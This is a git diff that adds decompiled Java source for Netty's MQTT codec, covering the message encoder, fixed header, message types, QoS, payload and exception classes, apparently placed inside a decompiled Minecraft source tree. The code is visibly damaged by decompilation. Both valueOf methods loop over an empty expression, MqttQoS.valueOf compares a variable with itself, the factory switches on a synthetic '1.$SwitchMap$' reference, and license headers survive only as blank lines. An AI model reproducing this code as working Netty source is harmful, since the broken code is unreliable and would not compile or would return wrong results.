+  private static ByteBuf encodeConnAckMessage(ByteBufAllocator byteBufAllocator, MqttConnAckMessage message)
+  {
+    ByteBuf buf = byteBufAllocator.buffer(4);
+    buf.writeByte(getFixedHeaderByte1(message.fixedHeader()));
+    buf.writeByte(2);
+    buf.writeByte(message.variableHeader().isSessionPresent() ? 1 : 0);
+    buf.writeByte(message.variableHeader().connectReturnCode().byteValue());
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodeSubscribeMessage(ByteBufAllocator byteBufAllocator, MqttSubscribeMessage message)
+  {
+    int variableHeaderBufferSize = 2;
+    int payloadBufferSize = 0;
+    
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    MqttMessageIdVariableHeader variableHeader = message.variableHeader();
+    MqttSubscribePayload payload = message.payload();
+    
+    for (MqttTopicSubscription topic : payload.topicSubscriptions()) {
+      String topicName = topic.topicName();
+      byte[] topicNameBytes = encodeStringUtf8(topicName);
+      payloadBufferSize += 2 + topicNameBytes.length;
+      payloadBufferSize++;
+    }
+    
+    int variablePartSize = variableHeaderBufferSize + payloadBufferSize;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variablePartSize);
+    
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variablePartSize);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    writeVariableLengthInt(buf, variablePartSize);
+    
+
+    int messageId = variableHeader.messageId();
+    buf.writeShort(messageId);
+    
+
+    for (MqttTopicSubscription topic : payload.topicSubscriptions()) {
+      String topicName = topic.topicName();
+      byte[] topicNameBytes = encodeStringUtf8(topicName);
+      buf.writeShort(topicNameBytes.length);
+      buf.writeBytes(topicNameBytes, 0, topicNameBytes.length);
+      buf.writeByte(topic.qualityOfService().value());
+    }
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodeUnsubscribeMessage(ByteBufAllocator byteBufAllocator, MqttUnsubscribeMessage message)
+  {
+    int variableHeaderBufferSize = 2;
+    int payloadBufferSize = 0;
+    
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    MqttMessageIdVariableHeader variableHeader = message.variableHeader();
+    MqttUnsubscribePayload payload = message.payload();
+    
+    for (String topicName : payload.topics()) {
+      byte[] topicNameBytes = encodeStringUtf8(topicName);
+      payloadBufferSize += 2 + topicNameBytes.length;
+    }
+    
+    int variablePartSize = variableHeaderBufferSize + payloadBufferSize;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variablePartSize);
+    
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variablePartSize);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    writeVariableLengthInt(buf, variablePartSize);
+    
+
+    int messageId = variableHeader.messageId();
+    buf.writeShort(messageId);
+    
+
+    for (String topicName : payload.topics()) {
+      byte[] topicNameBytes = encodeStringUtf8(topicName);
+      buf.writeShort(topicNameBytes.length);
+      buf.writeBytes(topicNameBytes, 0, topicNameBytes.length);
+    }
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodeSubAckMessage(ByteBufAllocator byteBufAllocator, MqttSubAckMessage message)
+  {
+    int variableHeaderBufferSize = 2;
+    int payloadBufferSize = message.payload().grantedQoSLevels().size();
+    int variablePartSize = variableHeaderBufferSize + payloadBufferSize;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variablePartSize);
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variablePartSize);
+    buf.writeByte(getFixedHeaderByte1(message.fixedHeader()));
+    writeVariableLengthInt(buf, variablePartSize);
+    buf.writeShort(message.variableHeader().messageId());
+    for (Iterator i$ = message.payload().grantedQoSLevels().iterator(); i$.hasNext();) { int qos = ((Integer)i$.next()).intValue();
+      buf.writeByte(qos);
+    }
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodePublishMessage(ByteBufAllocator byteBufAllocator, MqttPublishMessage message)
+  {
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    MqttPublishVariableHeader variableHeader = message.variableHeader();
+    ByteBuf payload = message.payload().duplicate();
+    
+    String topicName = variableHeader.topicName();
+    byte[] topicNameBytes = encodeStringUtf8(topicName);
+    
+    int variableHeaderBufferSize = 2 + topicNameBytes.length + (mqttFixedHeader.qosLevel().value() > 0 ? 2 : 0);
+    
+    int payloadBufferSize = payload.readableBytes();
+    int variablePartSize = variableHeaderBufferSize + payloadBufferSize;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variablePartSize);
+    
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variablePartSize);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    writeVariableLengthInt(buf, variablePartSize);
+    buf.writeShort(topicNameBytes.length);
+    buf.writeBytes(topicNameBytes);
+    if (mqttFixedHeader.qosLevel().value() > 0) {
+      buf.writeShort(variableHeader.messageId());
+    }
+    buf.writeBytes(payload);
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodeMessageWithOnlySingleByteFixedHeaderAndMessageId(ByteBufAllocator byteBufAllocator, MqttMessage message)
+  {
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    MqttMessageIdVariableHeader variableHeader = (MqttMessageIdVariableHeader)message.variableHeader();
+    int msgId = variableHeader.messageId();
+    
+    int variableHeaderBufferSize = 2;
+    int fixedHeaderBufferSize = 1 + getVariableLengthInt(variableHeaderBufferSize);
+    ByteBuf buf = byteBufAllocator.buffer(fixedHeaderBufferSize + variableHeaderBufferSize);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    writeVariableLengthInt(buf, variableHeaderBufferSize);
+    buf.writeShort(msgId);
+    
+    return buf;
+  }
+  
+
+  private static ByteBuf encodeMessageWithOnlySingleByteFixedHeader(ByteBufAllocator byteBufAllocator, MqttMessage message)
+  {
+    MqttFixedHeader mqttFixedHeader = message.fixedHeader();
+    ByteBuf buf = byteBufAllocator.buffer(2);
+    buf.writeByte(getFixedHeaderByte1(mqttFixedHeader));
+    buf.writeByte(0);
+    
+    return buf;
+  }
+  
+  private static int getFixedHeaderByte1(MqttFixedHeader header) {
+    int ret = 0;
+    ret |= header.messageType().value() << 4;
+    if (header.isDup()) {
+      ret |= 0x8;
+    }
+    ret |= header.qosLevel().value() << 1;
+    if (header.isRetain()) {
+      ret |= 0x1;
+    }
+    return ret;
+  }
+  
+  private static void writeVariableLengthInt(ByteBuf buf, int num) {
+    do {
+      int digit = num % 128;
+      num /= 128;
+      if (num > 0) {
+        digit |= 0x80;
+      }
+      buf.writeByte(digit);
+    } while (num > 0);
+  }
+  
+  private static int getVariableLengthInt(int num) {
+    int count = 0;
+    do {
+      num /= 128;
+      count++;
+    } while (num > 0);
+    return count;
+  }
+  
+  private static byte[] encodeStringUtf8(String s) {
+    return s.getBytes(CharsetUtil.UTF_8);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttFixedHeader.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttFixedHeader.java
new file mode 100644
index 0000000..ad2321c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttFixedHeader.java
@@ -0,0 +1,71 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttFixedHeader
+{
+  private final MqttMessageType messageType;
+  private final boolean isDup;
+  private final MqttQoS qosLevel;
+  private final boolean isRetain;
+  private final int remainingLength;
+  
+  public MqttFixedHeader(MqttMessageType messageType, boolean isDup, MqttQoS qosLevel, boolean isRetain, int remainingLength)
+  {
+    this.messageType = ((MqttMessageType)ObjectUtil.checkNotNull(messageType, "messageType"));
+    this.isDup = isDup;
+    this.qosLevel = ((MqttQoS)ObjectUtil.checkNotNull(qosLevel, "qosLevel"));
+    this.isRetain = isRetain;
+    this.remainingLength = remainingLength;
+  }
+  
+  public MqttMessageType messageType() {
+    return messageType;
+  }
+  
+  public boolean isDup() {
+    return isDup;
+  }
+  
+  public MqttQoS qosLevel() {
+    return qosLevel;
+  }
+  
+  public boolean isRetain() {
+    return isRetain;
+  }
+  
+  public int remainingLength() {
+    return remainingLength;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "messageType=" + messageType + ", isDup=" + isDup + ", qosLevel=" + qosLevel + ", isRetain=" + isRetain + ", remainingLength=" + remainingLength + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttIdentifierRejectedException.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttIdentifierRejectedException.java
new file mode 100644
index 0000000..ecbb247
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttIdentifierRejectedException.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.handler.codec.DecoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttIdentifierRejectedException
+  extends DecoderException
+{
+  private static final long serialVersionUID = -1323503322689614981L;
+  
+  public MqttIdentifierRejectedException() {}
+  
+  public MqttIdentifierRejectedException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public MqttIdentifierRejectedException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public MqttIdentifierRejectedException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessage.java
new file mode 100644
index 0000000..80f7c73
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessage.java
@@ -0,0 +1,75 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MqttMessage
+{
+  private final MqttFixedHeader mqttFixedHeader;
+  private final Object variableHeader;
+  private final Object payload;
+  private final DecoderResult decoderResult;
+  
+  public MqttMessage(MqttFixedHeader mqttFixedHeader)
+  {
+    this(mqttFixedHeader, null, null);
+  }
+  
+  public MqttMessage(MqttFixedHeader mqttFixedHeader, Object variableHeader) {
+    this(mqttFixedHeader, variableHeader, null);
+  }
+  
+  public MqttMessage(MqttFixedHeader mqttFixedHeader, Object variableHeader, Object payload) {
+    this(mqttFixedHeader, variableHeader, payload, DecoderResult.SUCCESS);
+  }
+  
+
+
+
+  public MqttMessage(MqttFixedHeader mqttFixedHeader, Object variableHeader, Object payload, DecoderResult decoderResult)
+  {
+    this.mqttFixedHeader = mqttFixedHeader;
+    this.variableHeader = variableHeader;
+    this.payload = payload;
+    this.decoderResult = decoderResult;
+  }
+  
+  public MqttFixedHeader fixedHeader() {
+    return mqttFixedHeader;
+  }
+  
+  public Object variableHeader() {
+    return variableHeader;
+  }
+  
+  public Object payload() {
+    return payload;
+  }
+  
+  public DecoderResult decoderResult() {
+    return decoderResult;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "fixedHeader=" + (fixedHeader() != null ? fixedHeader().toString() : "") + ", variableHeader=" + (variableHeader() != null ? variableHeader.toString() : "") + ", payload=" + (payload() != null ? payload.toString() : "") + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageFactory.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageFactory.java
new file mode 100644
index 0000000..6f58585
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageFactory.java
@@ -0,0 +1,89 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttMessageFactory
+{
+  public static MqttMessage newMessage(MqttFixedHeader mqttFixedHeader, Object variableHeader, Object payload)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[mqttFixedHeader.messageType().ordinal()]) {
+    case 1: 
+      return new MqttConnectMessage(mqttFixedHeader, (MqttConnectVariableHeader)variableHeader, (MqttConnectPayload)payload);
+    
+
+
+
+    case 2: 
+      return new MqttConnAckMessage(mqttFixedHeader, (MqttConnAckVariableHeader)variableHeader);
+    
+    case 3: 
+      return new MqttSubscribeMessage(mqttFixedHeader, (MqttMessageIdVariableHeader)variableHeader, (MqttSubscribePayload)payload);
+    
+
+
+
+    case 4: 
+      return new MqttSubAckMessage(mqttFixedHeader, (MqttMessageIdVariableHeader)variableHeader, (MqttSubAckPayload)payload);
+    
+
+
+
+    case 5: 
+      return new MqttUnsubAckMessage(mqttFixedHeader, (MqttMessageIdVariableHeader)variableHeader);
+    
+
+
+    case 6: 
+      return new MqttUnsubscribeMessage(mqttFixedHeader, (MqttMessageIdVariableHeader)variableHeader, (MqttUnsubscribePayload)payload);
+    
+
+
+
+    case 7: 
+      return new MqttPublishMessage(mqttFixedHeader, (MqttPublishVariableHeader)variableHeader, (ByteBuf)payload);
+    
+
+
+
+    case 8: 
+      return new MqttPubAckMessage(mqttFixedHeader, (MqttMessageIdVariableHeader)variableHeader);
+    case 9: 
+    case 10: 
+    case 11: 
+      return new MqttMessage(mqttFixedHeader, variableHeader);
+    
+    case 12: 
+    case 13: 
+    case 14: 
+      return new MqttMessage(mqttFixedHeader);
+    }
+    
+    throw new IllegalArgumentException("unknown message type: " + mqttFixedHeader.messageType());
+  }
+  
+  public static MqttMessage newInvalidMessage(Throwable cause)
+  {
+    return new MqttMessage(null, null, null, DecoderResult.failure(cause));
+  }
+  
+  private MqttMessageFactory() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageIdVariableHeader.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageIdVariableHeader.java
new file mode 100644
index 0000000..c85d39f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageIdVariableHeader.java
@@ -0,0 +1,48 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttMessageIdVariableHeader
+{
+  private final int messageId;
+  
+  public static MqttMessageIdVariableHeader from(int messageId)
+  {
+    if ((messageId < 1) || (messageId > 65535)) {
+      throw new IllegalArgumentException("messageId: " + messageId + " (expected: 1 ~ 65535)");
+    }
+    return new MqttMessageIdVariableHeader(messageId);
+  }
+  
+  private MqttMessageIdVariableHeader(int messageId) {
+    this.messageId = messageId;
+  }
+  
+  public int messageId() {
+    return messageId;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "messageId=" + messageId + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageType.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageType.java
new file mode 100644
index 0000000..c682a08
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttMessageType.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum MqttMessageType
+{
+  CONNECT(1), 
+  CONNACK(2), 
+  PUBLISH(3), 
+  PUBACK(4), 
+  PUBREC(5), 
+  PUBREL(6), 
+  PUBCOMP(7), 
+  SUBSCRIBE(8), 
+  SUBACK(9), 
+  UNSUBSCRIBE(10), 
+  UNSUBACK(11), 
+  PINGREQ(12), 
+  PINGRESP(13), 
+  DISCONNECT(14);
+  
+  private final int value;
+  
+  private MqttMessageType(int value) {
+    this.value = value;
+  }
+  
+  public int value() {
+    return value;
+  }
+  
+  public static MqttMessageType valueOf(int type) {
+    for (MqttMessageType t : ) {
+      if (value == type) {
+        return t;
+      }
+    }
+    throw new IllegalArgumentException("unknown message type: " + type);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttPubAckMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttPubAckMessage.java
new file mode 100644
index 0000000..a085514
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttPubAckMessage.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttPubAckMessage
+  extends MqttMessage
+{
+  public MqttPubAckMessage(MqttFixedHeader mqttFixedHeader, MqttMessageIdVariableHeader variableHeader)
+  {
+    super(mqttFixedHeader, variableHeader);
+  }
+  
+  public MqttMessageIdVariableHeader variableHeader()
+  {
+    return (MqttMessageIdVariableHeader)super.variableHeader();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishMessage.java
new file mode 100644
index 0000000..81f3c8c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishMessage.java
@@ -0,0 +1,112 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.util.IllegalReferenceCountException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MqttPublishMessage
+  extends MqttMessage
+  implements ByteBufHolder
+{
+  public MqttPublishMessage(MqttFixedHeader mqttFixedHeader, MqttPublishVariableHeader variableHeader, ByteBuf payload)
+  {
+    super(mqttFixedHeader, variableHeader, payload);
+  }
+  
+  public MqttPublishVariableHeader variableHeader()
+  {
+    return (MqttPublishVariableHeader)super.variableHeader();
+  }
+  
+  public ByteBuf payload()
+  {
+    return content();
+  }
+  
+  public ByteBuf content()
+  {
+    ByteBuf data = (ByteBuf)super.payload();
+    if (data.refCnt() <= 0) {
+      throw new IllegalReferenceCountException(data.refCnt());
+    }
+    return data;
+  }
+  
+  public MqttPublishMessage copy()
+  {
+    return replace(content().copy());
+  }
+  
+  public MqttPublishMessage duplicate()
+  {
+    return replace(content().duplicate());
+  }
+  
+  public MqttPublishMessage retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public MqttPublishMessage replace(ByteBuf content)
+  {
+    return new MqttPublishMessage(fixedHeader(), variableHeader(), content);
+  }
+  
+  public int refCnt()
+  {
+    return content().refCnt();
+  }
+  
+  public MqttPublishMessage retain()
+  {
+    content().retain();
+    return this;
+  }
+  
+  public MqttPublishMessage retain(int increment)
+  {
+    content().retain(increment);
+    return this;
+  }
+  
+  public MqttPublishMessage touch()
+  {
+    content().touch();
+    return this;
+  }
+  
+  public MqttPublishMessage touch(Object hint)
+  {
+    content().touch(hint);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content().release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content().release(decrement);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishVariableHeader.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishVariableHeader.java
new file mode 100644
index 0000000..82f27a1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttPublishVariableHeader.java
@@ -0,0 +1,46 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttPublishVariableHeader
+{
+  private final String topicName;
+  private final int messageId;
+  
+  public MqttPublishVariableHeader(String topicName, int messageId)
+  {
+    this.topicName = topicName;
+    this.messageId = messageId;
+  }
+  
+  public String topicName() {
+    return topicName;
+  }
+  
+  public int messageId() {
+    return messageId;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "topicName=" + topicName + ", messageId=" + messageId + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttQoS.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttQoS.java
new file mode 100644
index 0000000..edb2328
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttQoS.java
@@ -0,0 +1,42 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum MqttQoS
+{
+  AT_MOST_ONCE(0), 
+  AT_LEAST_ONCE(1), 
+  EXACTLY_ONCE(2), 
+  FAILURE(128);
+  
+  private final int value;
+  
+  private MqttQoS(int value) {
+    this.value = value;
+  }
+  
+  public int value() {
+    return value;
+  }
+  
+  public static MqttQoS valueOf(int value) {
+    for (MqttQoS q : ) {
+      if (value == value) {
+        return q;
+      }
+    }
+    throw new IllegalArgumentException("invalid QoS: " + value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckMessage.java
new file mode 100644
index 0000000..e5f5316
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckMessage.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttSubAckMessage
+  extends MqttMessage
+{
+  public MqttSubAckMessage(MqttFixedHeader mqttFixedHeader, MqttMessageIdVariableHeader variableHeader, MqttSubAckPayload payload)
+  {
+    super(mqttFixedHeader, variableHeader, payload);
+  }
+  
+  public MqttMessageIdVariableHeader variableHeader()
+  {
+    return (MqttMessageIdVariableHeader)super.variableHeader();
+  }
+  
+  public MqttSubAckPayload payload()
+  {
+    return (MqttSubAckPayload)super.payload();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckPayload.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckPayload.java
new file mode 100644
index 0000000..462f010
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubAckPayload.java
@@ -0,0 +1,66 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MqttSubAckPayload
+{
+  private final List<Integer> grantedQoSLevels;
+  
+  public MqttSubAckPayload(int... grantedQoSLevels)
+  {
+    if (grantedQoSLevels == null) {
+      throw new NullPointerException("grantedQoSLevels");
+    }
+    
+    List<Integer> list = new ArrayList(grantedQoSLevels.length);
+    for (int v : grantedQoSLevels) {
+      list.add(Integer.valueOf(v));
+    }
+    this.grantedQoSLevels = Collections.unmodifiableList(list);
+  }
+  
+  public MqttSubAckPayload(Iterable<Integer> grantedQoSLevels) {
+    if (grantedQoSLevels == null) {
+      throw new NullPointerException("grantedQoSLevels");
+    }
+    List<Integer> list = new ArrayList();
+    for (Integer v : grantedQoSLevels) {
+      if (v == null) {
+        break;
+      }
+      list.add(v);
+    }
+    this.grantedQoSLevels = Collections.unmodifiableList(list);
+  }
+  
+  public List<Integer> grantedQoSLevels() {
+    return grantedQoSLevels;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "grantedQoSLevels=" + grantedQoSLevels + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribeMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribeMessage.java
new file mode 100644
index 0000000..f9abf2f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribeMessage.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttSubscribeMessage
+  extends MqttMessage
+{
+  public MqttSubscribeMessage(MqttFixedHeader mqttFixedHeader, MqttMessageIdVariableHeader variableHeader, MqttSubscribePayload payload)
+  {
+    super(mqttFixedHeader, variableHeader, payload);
+  }
+  
+  public MqttMessageIdVariableHeader variableHeader()
+  {
+    return (MqttMessageIdVariableHeader)super.variableHeader();
+  }
+  
+  public MqttSubscribePayload payload()
+  {
+    return (MqttSubscribePayload)super.payload();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribePayload.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribePayload.java
new file mode 100644
index 0000000..664d777
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttSubscribePayload.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttSubscribePayload
+{
+  private final List<MqttTopicSubscription> topicSubscriptions;
+  
+  public MqttSubscribePayload(List<MqttTopicSubscription> topicSubscriptions)
+  {
+    this.topicSubscriptions = Collections.unmodifiableList(topicSubscriptions);
+  }
+  
+  public List<MqttTopicSubscription> topicSubscriptions() {
+    return topicSubscriptions;
+  }
+  
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder(StringUtil.simpleClassName(this)).append('[');
+    for (int i = 0; i < topicSubscriptions.size() - 1; i++) {
+      builder.append(topicSubscriptions.get(i)).append(", ");
+    }
+    builder.append(topicSubscriptions.get(topicSubscriptions.size() - 1));
+    builder.append(']');
+    return builder.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttTopicSubscription.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttTopicSubscription.java
new file mode 100644
index 0000000..d67f74d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttTopicSubscription.java
@@ -0,0 +1,47 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttTopicSubscription
+{
+  private final String topicFilter;
+  private final MqttQoS qualityOfService;
+  
+  public MqttTopicSubscription(String topicFilter, MqttQoS qualityOfService)
+  {
+    this.topicFilter = topicFilter;
+    this.qualityOfService = qualityOfService;
+  }
+  
+  public String topicName() {
+    return topicFilter;
+  }
+  
+  public MqttQoS qualityOfService() {
+    return qualityOfService;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "topicFilter=" + topicFilter + ", qualityOfService=" + qualityOfService + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttUnacceptableProtocolVersionException.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnacceptableProtocolVersionException.java
new file mode 100644
index 0000000..ea87757
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnacceptableProtocolVersionException.java
@@ -0,0 +1,53 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.handler.codec.DecoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttUnacceptableProtocolVersionException
+  extends DecoderException
+{
+  private static final long serialVersionUID = 4914652213232455749L;
+  
+  public MqttUnacceptableProtocolVersionException() {}
+  
+  public MqttUnacceptableProtocolVersionException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public MqttUnacceptableProtocolVersionException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public MqttUnacceptableProtocolVersionException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubAckMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubAckMessage.java
new file mode 100644
index 0000000..db1d596
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubAckMessage.java
@@ -0,0 +1,32 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttUnsubAckMessage
+  extends MqttMessage
+{
+  public MqttUnsubAckMessage(MqttFixedHeader mqttFixedHeader, MqttMessageIdVariableHeader variableHeader)
+  {
+    super(mqttFixedHeader, variableHeader, null);
+  }
+  
+  public MqttMessageIdVariableHeader variableHeader()
+  {
+    return (MqttMessageIdVariableHeader)super.variableHeader();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribeMessage.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribeMessage.java
new file mode 100644
index 0000000..07202cb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribeMessage.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.mqtt;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MqttUnsubscribeMessage
+  extends MqttMessage
+{
+  public MqttUnsubscribeMessage(MqttFixedHeader mqttFixedHeader, MqttMessageIdVariableHeader variableHeader, MqttUnsubscribePayload payload)
+  {
+    super(mqttFixedHeader, variableHeader, payload);
+  }
+  
+  public MqttMessageIdVariableHeader variableHeader()
+  {
+    return (MqttMessageIdVariableHeader)super.variableHeader();
+  }
+  
+  public MqttUnsubscribePayload payload()
+  {
+    return (MqttUnsubscribePayload)super.payload();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribePayload.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribePayload.java
new file mode 100644
index 0000000..b93f757
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttUnsubscribePayload.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
